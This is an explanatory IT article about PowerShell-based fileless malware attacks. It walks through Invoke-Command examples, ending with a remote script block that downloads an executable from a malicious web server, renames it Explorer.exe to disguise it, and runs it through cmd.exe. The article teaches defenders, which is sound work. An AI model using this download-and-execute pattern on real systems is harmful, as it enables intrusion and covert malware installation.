Fileless Malware Attacks and PowerShell: How They Work

A fileless malware attack based on PowerShell uses PowerShell’s native capabilities to breach a Windows system. Here's how they work.

Brien Posey

April 1, 2021

5 Min Read
Fileless Malware Attacks and PowerShell: How They Work
Getty Images

For more technical explainers on PowerShell, read our PowerShell 101: A Technical Explainer for IT Pros report.

In the first part of this article series, I talked about the anatomy of a PowerShell-based fileless malware attack against a Windows system. Here, I use examples to explain how such an attack works.

A fileless malware attack based on PowerShell uses PowerShell’s native capabilities to attack the victim. One of the PowerShell cmdlets that is best suited to such an attack is the Invoke-Command cmdlet. This cmdlet is used to run a PowerShell command, or even an entire script block, against a remote system. Here is an example of how this cmdlet works:

Invoke-Command -ComputerName FileServer -ScriptBlock {Get-Process | Where-Object {$_.ProcessName -eq ‘Explorer}}

In this command, I am using the -ComputerName parameter to target a remote system named FileServer. The Invoke-Command cmdlet is intended for use in managing remote systems. As such, you would simply replace the word FileServer with the name of the remote computer that you want to “manage.”

The next parameter that I am using is -ScriptBlock. This parameter is followed by the code that should be run on the remote system. In this case, I am doing something completely benign. I am executing the Get-Process cmdlet and a Where-Object filter to look at the Explorer process. Such an activity probably wouldn’t be used in a real-life attack. I am simply using the Get-Process cmdlet as a stand-in for malicious code.

So as you can see, any instructions that are included in the ScriptBlock section are executed against the target system. The only real problem with attackers using this technique is that scripts very often make use of variables. Any variables that are created while using this technique exist solely on the remote system. If an attack is to succeed, attackers may need to extract information from the remote system and write it to a variable that is local to their own systems. That way, they can issue subsequent commands based on the variable’s contents.

If attackers want to write information about a remote system to a local variable, they can do so by mapping the variable to the Invoke-Command cmdlet rather than assigning the variable from within the ScriptBlock. The command shown below, for example, retrieves information about the Explorer process from the remote machine and writes that information to a local variable (residing on attackers’ own systems) called $Explorer. Here is the command:

$Explorer = Invoke-Command -ComputerName FileServer -ScriptBlock {Get-Process | Where-Object {$_.ProcessName -eq ‘Explorer’}}

Using these two techniques, attackers can read information from a victim’s computer and execute commands against that computer. While this is useful in and of itself, attackers sometimes take things a step further and force a victim’s computer to download and execute a malicious file. Of course, this doesn’t really count as a full-fledged fileless malware attack because a file is being downloaded to the victim’s computer, but it is an important concept to understand nonetheless.

In this attack, attackers send instructions to the victim’s computer, just as would be done in a true fileless malware attack. These instructions direct the victim’s computer to download malware from a malicious Web server and then execute that malware. Figure 1 contains a diagram of how this process works.

Fileless Malware.jpg

Fileless Malware

Figure 1

The attacker’s computer directs the victim’s computer to download malware.

So what might such an attack look like? Here is a block of code illustrating the process:

Invoke-Command -ComputerName FileServer -ScriptBlock{            New-Item -Path “C:” -Name “Files” -ItemType “Directory”            Invoke-WebRequest -URI ‘http:///BadFile.exe’ -Outfile ‘C:FilesExplorer.exe’            Invoke-Expression -Command “cmd.exe /c c:filesexplorer.exe”}

Once again, attackers are using the Invoke-Command cmdlet to establish a remote connection to a remote computer named FileServer. The contents of the command’s ScriptBlock are being run on the remote machine.

As you can see, the ScriptBlock contains three commands.

  • The first command simply creates a new folder called Files on the victim’s hard disk. This folder will act as a repository for the malware.

  • The second command downloads the malware from a malicious web server. One thing to notice about this command is that it is possible to rename the malware as a part of the process. In this case, for example, the file that is being downloaded from the web server is initially named BadFile.exe. However, this command renames the file using the much less conspicuous name Explorer.exe. The downloaded file is being saved to the C:Files folder that was created by the previous command.

  • The third command in the ScriptBlock is the one that actually executes the malicious file. This command instructs PowerShell to open a Command Prompt window and launch C:FilesExplorer.exe.

So, ultimately, attackers were able to create a file on the victim’s hard disk, download and rename a malicious  file, and then execute the malicious file.


About the Author(s)

Brien Posey

Brien Posey is a bestselling technology author, a speaker, and a 20X Microsoft MVP. In addition to his ongoing work in IT, Posey has spent the last several years training as a commercial astronaut candidate in preparation to fly on a mission to study polar mesospheric clouds from space.

Sign up for the ITPro Today newsletter
Stay on top of the IT universe with commentary, news analysis, how-to's, and tips delivered to your inbox daily.

You May Also Like